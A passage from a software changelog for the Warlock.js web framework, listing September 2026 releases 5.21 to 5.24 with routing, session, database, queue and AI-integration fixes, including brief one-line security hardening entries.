mailEvents.onCaptured()(mail.captured): every mail sent in development or test mode is delivered in full (html, text, headers, attachments) to listeners. Development mode still logs instead of sending.CapturedMailgainsid. - Added Devtools:
warlock add devtoolsinstalls@warlock.js/devtoolsas a dev dependency, andwarlock devloads it automatically when it is installed. You never name it inwarlock.config.ts, so production installs, which omit dev dependencies, have nothing to resolve.warlock addnow pins@warlock.js/*dev dependencies to the installed framework version too. - Added Deploy in parts:
warlock start --role=api|web|worker(combinable, e.g.--role=web,api) runs one build as separate processes, and--sites=a,blimits awebprocess to those sites. - Roles are file-based.routes.tsisapi, pages areweb, and the new per-moduleworker.tsisworker.main.tsloads for every role. - A process with neitherapinorwebbinds no HTTP port and reportsworker ready. -Application.roles,Application.hasRole()andApplication.sitesexpose the active set. Thewarlock:readysignal now carriesroles. - With no--role, every role is on, so existing apps andwarlock devbehave exactly as before. - Unknown roles, an empty list, or--siteswithoutwebfail before the app starts. - Changed Behaviour change: model-write validation failures now return the opaque internal-error response with status 500 by default, instead of returning a 400 and validation details. Details are logged server-side. Set
http.modelValidationErrorStatusto choose a different status; a4xxstatus returns{ errors }to the client. - Fixed In development, a plugin's own parametric route (such as devtools'
/__warlock/api/requests/:id) keeps its params when an app catch-all route also matches the URL. The dev dispatcher used to overwrite them, so the devtools request detail answered 404. - Fixed
warlock seedandwarlock migrateskip test files (*.spec.ts,*.test.ts, …) inseeds/andmigrations/folders. A spec kept beside its seeder used to abort the whole seed run. - Fixed
onHttpServerRebuilt(listener)fires with the new Fastify instance when the HTTP connector restarts (before it listens), so dev connectors can re-attach instance-bound hooks. - Fixed
warlock generate.typingsnow also writes.warlock/typings/web-routes.d.ts(through the new optionalbuild.typingsconnector hook, so core never imports web), sogenerate.typings && tsc && warlock buildtypechecks typedhref()calls on a clean checkout. API-only apps are unchanged. - Fixed
warlock buildroute registration now has a configurable timeout and names the module still registering when it expires. - Fixed
defineResourceoutputidnow falls back to_idon Mongo records whenidis absent; an explicitidstill wins. Collections with native ObjectIds should setprimaryKey = "_id"on the model soModel.find(hex)works. - Fixed
setupTest({ importModule })lets tests load app modules (config, routes, events) through Vitest's own module graph, so classes likeUserexist once andinstanceofworks. The generatedsrc/test-setup.tspasses(file) => import(file);setupTest()under Vitest without it warns once. - Fixed Default route schema validation now supplies matching declared route params when body and query omit them, without overriding body or query values.
- Fixed
isPortAvailable()andassertPortIsAvailable()are exported from@warlock.js/core/testsfor HTTP test setup.
- Added Page tracing now reports middleware, page-cache, and deferred-settlement phases.
- Added Deploy in parts: a process started without the
webrole (warlock start --role=api|worker) installs no pages, public files or site dispatch, and--sites=a,binstalls only those sites (plus shared pages). Other hosts get the normal unknown-host response. An unknown site key, or--siteson an app withoutweb.sites, fails at boot. - Added New page metadata field
alternates(Record<string, string>, keyed by locale code plus optionalx-default) lets a page declare its own per-locale hreflang targets — for per-locale content slugs that the framework's path-swapped generated alternates can't describe — and replaces the generated set entirely, in both SSR and client navigation, when set. - Added Page loaders, layout loaders, metadata callbacks and page actions receive
route: { name, path, params }— the matched page's route. Undersites,request.routeis core's/*catch-all;ctx.routeis the page (PageRouteis exported). - Fixed
warlock devnow letswebConnector({ ssrFetchTimeoutMs })configure Vite SSR module fetching;WARLOCK_SSR_FETCH_TIMEOUT_MStakes precedence. Invalid values warn and retain the 60000ms default, while timeout errors name the module and point to CPU overload and the environment override. - Fixed Metadata callbacks now correctly retain child metadata with
child.metadata; diagnostic errors also identify the common mistaken...childspread and show the correct form. - Fixed The "runtime exports must use one of ..." page-discovery error now names the offending export and the source file, and its allowlist is built from the same list the check enforces, so it can no longer omit
action/actionsor drift from what's actually accepted. - Fixed
warlock devkeeps serving Vite assets (theme.css,app.css?direct, the client entry) after an HTTP-only restart: the web connector re-attaches its Vite middleware to the rebuilt HTTP instance instead of leaving pages unstyled and unhydrated. - Fixed
createWebBuildContribution()gains atypingshook that writesweb-routes.d.tswith the same writer and inputs asgenerate, sowarlock generate.typingsproduces the route types before any build. - Fixed Multi-site production pages now retain their site-local translation snapshots.
- Fixed Multi-site not-found documents now emit the site-qualified page name registered by client hydration.
- Fixed Page-scoped request translations now fall back to global translations in the active locale when a page bag lacks the key.
- Fixed Production hydration-client builds now resolve PostCSS configuration from the application root, matching development.
- Fixed Page discovery now fails when a
*.setup.tsfile has no paired UI module, preventing middleware and metadata from being silently ignored. - Fixed
warlock devnow reports the same setup-file projection errors aswarlock build(e.g. an unread top-level call likeconst guard = requireUser(opts)in a*.setup.ts), on first load and on every edit, instead of only failing at build time.
- Added Drivers emit public
queryevents for settled PostgreSQL SQL and MongoDB commands;dataSourceRegistryforwards them with the registered connection name for centralized inspection. - Fixed PostgreSQL
groupByRaw()now emits and parses its raw GROUP BY operation correctly, including bound parameters. - Fixed MongoDB
lockForUpdate()now throws the publicUnsupportedLockForUpdateErrorwith guidance to use a conditional atomic update instead of a nonexistent row lock. - Fixed MongoDB atomic upserts now assign the model's auto-increment
idon insert without changing an existing document's id.
- Changed The generated app's README is rewritten for the current template:
dev/build/start, migrations, generators, the web stack vs API-only,warlock add, tests and the AI agent skills. - Changed The generated database config explains
autoGenerateIdand when to turn it off for an existing_id-only MongoDB. - Changed Removed broken template scripts:
gen.v(called a command that doesn't exist),gen.md(duplicate ofgen.m),serve(POSIX-onlynohup, and tied to one package manager) andlf(neededdos2unix). Usenpm run build && npm run startinstead ofserve. - Fixed
docs/new-module.mdin the generated app namedwarlock create.module; it iswarlock generate.module.
- Changed Behaviour change: Empty and whitespace-only form values are treated as missing by non-string validators, so optional fields are omitted, nullable fields resolve to
null, and required fields reportrequired. - Fixed
ObjectValidatorno longer recurses into its shape when the input isnullon a.nullable()object (or the whole object is missing on an.optional()one) — it now short-circuits on the already-resolved result instead of re-running child validators againstundefined, which previously reported spurious "required" errors for anullvalue. - Fixed
BaseValidatorclones preserve translated attributes, and required-rule labels now resolve at validation time regardless of.required()/.transAttributes()chain order.
- Fixed
authMiddlewarenow returns its normal401missing-credential response for an unsafe dual-source request that presents neither access nor refresh cookies, instead of treating the configured refresh descriptor as a presented credential and rejecting its Origin with403. - Fixed Token-pair issuance now ensures its durable token family once, and repeated ensures return the existing family without another upsert.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Added
invalidatedcache event:tags([...]).invalidate()now emits it once, with the tags, the keys it removed anddurationMs. The per-keyremovedevents still fire.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed
startWorkers()(and thequeueConnector'sstart(), which calls it) no longer starts in-process workers on a process that doesn't serve theworkerrole (WARLOCK_ROLES), loggingqueue: workers not started (role: ...)instead. Producers (dispatch) and the dashboard mount are unaffected. With no--rolepassed, every role is on and nothing changes.
- Changed
scheduler.start()is now a no-op, loggingscheduler: not started (role: ...), on a process that doesn't serve theworkerrole (WARLOCK_ROLES) — so an app calling it inmain.tsdoesn't run its jobs on everyweb/apinode. The "jobs registered butstart()never called" development warning no longer fires on such a process. With no--rolepassed, every role is on and nothing changes.
- Changed Lockstep release; package APIs are unchanged.
5.24.0 September 27, 2026
Safer human-in-the-loop approvals and working Claude extended thinking. A durable HITL approval is now bound to the exact agent session, tool and arguments it approved, so it can no longer be consumed by a concurrent run or applied to a different call; pending approvals from earlier versions ask again. Claude extended thinking now works on Anthropic and Bedrock across tool calls (signed thinking blocks are replayed), and maxTokens must exceed the thinking budget. Named ErrorBoundary components receive the HTTP status; PageLoaderContext no longer needs type arguments; Postgres transactions accept settings applied as SET LOCAL; request.input() sees multi-site route params; merge({ col: null }) saves NULL. Lockstep release across all 30 packages. Generator matrix scope: none; the blog on 5.24.0 from npm passed its production browser smoke.
Generator matrix: not run for this release.
- Changed Lockstep release; package APIs are unchanged.
- Security Durable HITL approvals are now bound to the exact agent session, tool, and arguments they approved, preventing cross-run or cross-action replay. A decision that doesn't match the call being gated is never applied; the call asks for approval again.
resume()re-runs in the interrupted session unlessexecuteOptions.sessionIdsays otherwise. Approvals left pending by an earlier version must be approved again after upgrading.
- Added Named page, layout, and root
ErrorBoundarycomponents now receive the resolved HTTPstatusalongsideerror. - Changed
PageLoaderContext's type parameters default toundefined, so a loader with no validation or route can be typed({ request }: PageLoaderContext). - Fixed Added the missing
web.forms.redactValuesconfiguration type for redacting submitted values echoed in failed page-action state.
- Added PostgreSQL transactions accept transaction-local
settings, applied safely with parameterizedset_configcalls afterBEGIN; use them for RLS context,statement_timeout, orsearch_pathwithout leaking values to the pool. - Fixed An explicit
nullgiven tomerge()/set()is now written as NULL on save. Before, an optional, non-nullable column cleared tonull(for example, restoring a soft-deleted row withmerge({ deletedAt: null })) was dropped from the update, and the row kept its old value. A required column set tonullstill fails validation.
- Changed Lockstep release; package APIs are unchanged.
- Fixed Preserve signed and redacted extended-thinking blocks across Anthropic tool-use follow-ups, and ensure
max_tokensexceeds the thinking budget.
- Changed Lockstep release; package APIs are unchanged.
- Fixed Preserve Claude extended-thinking reasoning blocks across Bedrock Converse tool-use follow-ups, and enforce valid thinking budgets and output-token ceilings.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Fixed
request.input(key)now sees a route param set withRequest.setParam(). Before, it updated onlyrequest.params, so in a multi-site app (where the site dispatcher sets each page param) every dynamic segment read asundefinedthroughinput(),only()andall(). Params keep their precedence over query and body.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
5.23.2 September 26, 2026
Multi-site locale routing and site-origin URLs. In a multi-site app, <Link>, localizedPath(), hreflang and the routing handed to the browser now follow each request's own site (its localeRouting), where before no locale prefix was ever added. Canonical, og:url and hreflang use the request's site origin instead of the app's single public URL. warlock build no longer fails when a site sets its own localeRouting. A page's declared route.name now reaches the generated route types when its loader lives in a companion .setup.ts. Lockstep release across all 30 packages. Generator matrix scope: none; the four-site demo (19/19 in dev and production, including new locale checks) and the blog cover the change.
Generator matrix: not run for this release.
- Fixed Multi-site locale routing is per site.
<Link to>,localizedPath(), hreflang alternates and the routing handed to the browser now follow the rendering request's own site (itslocaleRouting, overweb.localeRouting). Before, a multi-site app never published locale routing, so none of them added a locale prefix, in dev or production. - Fixed Multi-site pages build canonical,
og:urland hreflang URLs from the request's site origin instead of the app's single public URL. - Fixed
warlock buildno longer fails with "app.localeCodes declares no locale codes" when a site sets its ownlocaleRouting. - Fixed A page's declared
route.namewins in the generated route types when its loader lives in a companion.setup.tsandconfigstays in the page file (for example, typedsatisfies PageConfig<typeof loader>). Discovery now readsconfigfrom whichever of the two files declares it, and rejects it in both, as the runtime already did.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
5.23.1 September 26, 2026
Multi-site: $sites folders, dev hydration, and production routing. Sites now live only in src/web/$sites/<key>/ (the folder name is the site key); web.sites.<key>.pages is removed and a leftover pages is a boot error naming the folder to move. Fixes: in warlock dev, each site's client entry now loads only its own pages (it failed with "Two pages resolve to the same route path" and never hydrated); adding or removing a page in dev no longer fails with a duplicate site-dispatch route name; $sites/<key> never leaks into page URLs or route names in production. Lockstep release across all 30 packages.
- Changed BREAKING: sites live only in
src/web/$sites/<name>/(the folder name is the site key);web.sites.<name>.pagesis removed and reported at boot. - Fixed Multi-site dev: each site's client entry now loads only its own pages. Before,
warlock devfailed to transform the hydration entry with "Two pages resolve to the same route path", so pages never hydrated. - Fixed Multi-site dev: adding or removing a page no longer fails with
Route name "warlock.site-dispatch.get" is already taken. - Fixed
$sites/<key>never reaches a page's URL or route name in any installer, including production.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
5.23.0 September 26, 2026
Multi-site web applications, safer traffic controls, and Postgres correctness. Web adds web.sites and resolveHost for fixed and tenant-resolved domains, with isolated roots, routes, page caches, sitemap/robots, cross-site links, siteUrl(), and tlsAsk; it also fixes Real-Estate multi-site production and page-action edge cases. Core adds per-user rateLimit({ key: "user" }). Cascade adds opt-in Postgres naming: "snake_case" and safe bigint/int8 parsing. Queue carries request context into jobs, and Scheduler adds scheduler.around. Lockstep release across all 30 packages.
- Added Multi-site support (
web.sites,resolveHost). - Added
PageActionContext<typeof schema>accepts a bare Seal schema, typingrequest.validated()as its output; works with a plainconfig: PageConfigannotation. Thetypeof config.actionform is unchanged. - Changed Build logs show app-relative output paths.
- Changed A page action's
response.cookie()andresponse.clearCookie()now take the same arguments as core'sResponse, so auth's cookie helpers (which takeResponse;CookieWriteris removed) accept it. - Fixed A page file can declare its action schema at the top (
const schema = v.object(...), read byconfig.action.validationorconfig.actions.<name>.validation) — the documented pattern. Dev and build no longer refuse it as an ambiguous statement. - Fixed Multi-site in dev: tenant data from
resolveHost({ shared })now reachesuseShared(), andsiteUrl()/ cross-sitehref()see the current site. The connector and the page pipeline run in two module copies in dev (Node and Vite SSR); both hand-offs now use global slots, as production already effectively did. - Fixed
siteUrl()and theCurrentSitetype are exported from@warlock.js/web, as the multi-site guide documents. - Fixed
warlock buildwithweb.sitesno longer fails whensrc/config/web.tsimports app code through a tsconfig alias (aresolveHostfromapp/...): the build bundlesweb.tswith esbuild before readingsites. - Fixed A
<Link>ornavigateTo()to another site's route (an absolute URL on another origin) now loads that site instead of silently doing nothing; the locale prefix is no longer applied to absolute URLs. - Fixed A multi-site production build now boots: each site's hashed
hydration-<site>entry is read from the Vite manifest at boot and served to that site's pages (it previously demanded a singlehydrationentry and refused to start). - Fixed Multi-site production installs each site's pages under its own root (the dispatcher was dropped on the way to the production installer), and boot no longer tries to publish one global sitemap that needs
app.publicUrl: each site's sitemap is built for its own origin. - Security With
app.urlset, a request whoseHostdiffers now bypasses the page cache (no lookup, no store) instead of being keyed as the configured host, closing cache poisoning via forgedHost.
- Added
warlock generate.use-case <module>/<verb-noun>scaffoldsuse-cases/<verb-noun>.use-case.ts(transport-agnostic(input, actor)returning a result union) plus a vitest spec, and refuses to overwrite existing files without--force. - Added
rateLimitacceptskey: "user"to bucket by the signed-in user id (routes and page actions), withguests: "ip" | "skip"(default"ip") for unauthenticated requests.keyGeneratorand the 429 shape are unchanged. - Added Each
rateLimit()call now keeps its own counters, so two limits on the same route (two page actions on one page, say) no longer share a bucket.errorMessagealso accepts(request) => stringfor per-request (translated) messages. - Fixed
startHttpTestServer()now loads.env.testitself before configuration is read, so a Vitest global setup cannot boot against the development database. - Fixed
warlock addinstalls with the project's package manager: the nearestpackageManagerfield, then apnpm-workspace.yaml, then the nearest lockfile, searched upward so an app inside a workspace uses the workspace's manager. - Fixed
uniqueExceptCurrentUser/uniqueExceptCurrentId/existsExceptCurrentUser/existsExceptCurrentIdonStringValidatornow returnthis, soInfer<>keeps the concrete output type.
- Added Postgres
naming: "snake_case"(opt-in, default"preserve"): camelCase model keys map to snake_case columns in inserts, updates,where,orderBy,select,groupByand joins, and rows come back camelCase. Table names and raw SQL are left as written. - Added Static
Model.whereRaw(expression, bindings?), matching the other static query entry points (Model.query().whereRaw(...)still works). - Fixed Postgres
bigint/int8columns (and int8 arrays) come back as numbers when they fit in a safe integer, so a bigint id passesv.number(); larger values stay strings. The parser is installed on Cascade's own pool, not on the globalpg.types. - Fixed
unique()/exists()onStringValidatorandNumberValidatornow returnthis, soInfer<>keeps the concrete output type (wasunknown).
- Added
defineQueueContext()/setQueueContext(): capture ambient state (tenant, request id) atdispatchand restore it around the job handler. The captured value travels in a versioned envelope; jobs without one still run. Exposed asctx.context. Opt a job out withcontext: false. - Added
UnrecoverableJobError: throw it from a handler orrestoreto fail the job permanently (mapped to BullMQ'sUnrecoverableError).
- Added
scheduler.around((job, run) => …)wraps every job callback execution, each retry attempt included, so jobs can run inside a context such asAsyncLocalStorage. Multiple hooks compose with the first registered outermost; the call returns an unsubscribe function. A hook that never callsrunskips the execution and emitsjob:skip(JobResult.skipped/skipReason); a hook that throws follows the normal retry/error path.
- Changed Template schemas and models drop redundant
.required()and non-load-bearingsatisfies, matching the framework skills. - Fixed Scaffolding inside an existing pnpm workspace no longer writes a nested
pnpm-workspace.yaml; a standalone app still gets one. - Fixed Postgres apps get their own database defaults in
.envand.env.example(MongoDB keepsDB_AUTHand port 27017). - Fixed The
gen.*scripts use the registeredwarlock generate.<x>commands. - Fixed
minimumReleaseAgeExcludecovers@warlock.js/*by pattern, so a freshly published family installs without listing versions or unused packages.
- Added
notificationColumns()now supportsidTypefor UUID, bigint, integer, and string recipient and tenant IDs. - Changed Lockstep patch release; package APIs are unchanged.
- Added Array validators take
.min(n)/.max(n)for length, like strings and numbers;.minLength()/.maxLength()remain as aliases. - Fixed An omitted optional field skips its mutators, so
v.string().trim().optional()no longer reports a missing field as required.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Removed BREAKING:
CookieWriteris removed.setSessionCookies,clearSessionCookies,setAuthCookie,clearAuthCookieandloginWithSessionCookiestake core'sResponse(only itscookieandclearCookie), so a page action'sresponsestill works without a cast. An app helper that was typed asCookieWritercan take{ cookie: (...args: Parameters<Response["cookie"]>) => unknown }instead.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
5.22.1 September 25, 2026
Installed app corrections. Web resolves page sessions from Core's shared configuration, restoring signed-in loaders, actions, and useUser() in installed apps. Create Warlock loads generated page styles through the app stylesheet so sitemap generation can import page modules in Node. Lockstep corrective release across all 30 packages. Generator matrix scope: none; local-registry and separate fresh-install checks are recorded in the release summary.
Generator matrix: not run for this release.
- Fixed Page session resolution reads Core's shared config instance, so authenticated loaders, actions, and
useUser()receive the signed-in user in installed apps.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
- Changed Lockstep patch release; package APIs are unchanged.
5.22.0 September 25, 2026
Page action and session contracts, durable Cascade jobs, and safer AI serving. Web and Auth add action-specific validated input, session-aware page and layout loaders, buffered logout cookie clearing, and a 503 action helper. Cascade restores PostgreSQL TTL purge jobs after reconnect and retries post-commit sync fan-out; Core preserves configured local-storage path prefixes. AI serving adds server-owned sessions, request limits, disconnect cancellation, safer MCP environment handling, unpriced-model budget rejection, and Core-owned SSRF address classification. Sixteen approved Mongez skills-only patches and grouped agent-kit skills are included. Lockstep release across all 30 packages. Generator matrix scope: none; local-registry package checks and separate fresh-install checks are recorded in the release summary.
Generator matrix: not run for this release.
- Fixed
PageConfigacceptsactionandactions(newPageActionConfigtype), soconfig = { action: { validation } } satisfies PageConfigtype-checks. - Fixed
PageActionContext<typeof config.action>typesrequest.validated()from the action's Seal validator. - Fixed An action's
response.clearCookie()exists and sends the deletingSet-Cookie, soauthService.clearSessionCookies(response)no longer throws in a page action. - Fixed Page action names flow into the generated route manifest; app and layout loaders type resolved sessions; late session renewal raises
SessionResolvedTooLateError. - Fixed Page actions can return
response.serviceUnavailable()for upstream failures such as mail delivery.
- Fixed
setSessionCookies,clearSessionCookies,setAuthCookie,clearAuthCookieandloginWithSessionCookiestake aCookieWriter(any object withcookie()andclearCookie()), so a page action'sresponseworks without a cast.
- Added PostgreSQL TTL indexes register purge jobs and persist retention rules in index comments so jobs restore after reconnect.
- Fixed Post-commit sync fan-out retries transient failures without failing committed writes.
- Changed USD budgets reject unpriced models by default;
onUnpriced: "allow"explicitly opts out. Model pricing reaches middleware. - Changed
ai.serveowns session IDs and history, limits request bodies, checks bearer tokens in constant time and aborts on disconnect. - Changed SSRF address classification reuses the core classifier, including IPv4-mapped IPv6.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Security Stdio MCP children receive only a minimal execution environment plus explicitly supplied variables.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Fixed Local storage results return paths with the configured prefix for writes and moves.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Fixed Cron and time parsing handle absent fields explicitly under strict TypeScript checks.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
5.21.0 September 25, 2026
Page actions and sessions in pages. Pages can export action/actions and post with <Form> (works without JavaScript; useActionData, FieldError, useIsSubmitting), and read the signed-in user with useUser(), guarded server-side by requireUser/requireGuest from @warlock.js/web/session. Upgrade review required: a full framework sweep ships ~140 fixes with behaviour changes across core, cascade, web and auth (see each package changelog). Lockstep release across all 30 packages. Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Don't wait for any other approvals, you have green light to do everything needed to have 5.21 released, don't stop before the release, no complete the push and publish/release".
Generator matrix: selected rows ran against the staged candidate — baseline, scheduler, postgres, redis, web, sitemap, socket.
- Added Page actions: a page can export
action/actions(PageActionNames).<Form>works without JavaScript, shows field errors, redirects and revalidates the page. Client helpers:useActionData(),FieldError,useIsSubmitting(),useSubmitAction().ActionResponsetypes the server result.web.forms.redactValuescontrols which submitted values are redacted from echoed state. - Added Sessions in pages:
web.sessionresolver,useUser()on the client,requireUser()/requireGuest()in page middleware and loaders (server-only subpath@warlock.js/web/session),safeRedirectTarget()andPageRedirectSignal. - Added CSS Modules (
*.module.css) render on the server with class names matching the client. - Changed BREAKING: the page cache keeps path case, does not cache the HTML variant under a CSP, and runs app/layout/page middleware before serving a cache hit.
- Changed BREAKING: two filesystem pages that differ only by route-param name (
blog/[id]vsblog/[slug]) throwDuplicatePageRoutePathError. Rename one. - Changed The locale cookie now has a 1-year
Max-Age.Linknever interceptsdownload,targetother than_self, or modified clicks. - Changed A
*wildcard param is encoded per path segment (/is no longer%2F); the image loader appends&variant=to an existing query and keeps#fragmentlast. - Changed
useShared()usesuseSyncExternalStore, so memoized consumers update afterhydrateShared(). - Fixed Build gates: Gate C, the unread
PUBLIC_env check and*.setup.tshandling are more accurate. - Fixed Normalize conditional-request header values before sitemap validator comparisons.
- Fixed Register explicit HEAD handlers for sitemap documents and immutable shard URLs.
- Added Page sessions:
pageSession/sessionMiddlewaregive pages a renewing session (renewal on by default).session.maxAgebounds the token family from its creation (default"30d"); a family past it is revoked and renewal returnsnull. - Added
setSessionCookies/clearSessionCookieswrite HttpOnly, SameSite=Lax,Path=/cookies, ignoringauth.cookie.path.authService.loginWithSessionCookies()logs in and sets them. - Added
resolveRequestUsermemoizes onrequest.locals.session: repeat or concurrent callers in one request share a single verify, DB lookup and renewal (the first caller's options win). - Changed BREAKING:
loginWithSessionCookies()requires a same-originOrigin/Referereven with no cookies, otherwise it throwsCsrfOriginMismatchError. Send the header from non-browser clients. - Changed BREAKING:
authMiddlewaretakes an ordered header/cookiesourceslist; a present Authorization header always wins and never falls back to the cookie, so an invalid header now returns401. - Changed JWTs carry a random
jti, so tokens issued in the same second differ. - Changed Lockstep release maintenance and dependency refresh.
- Added
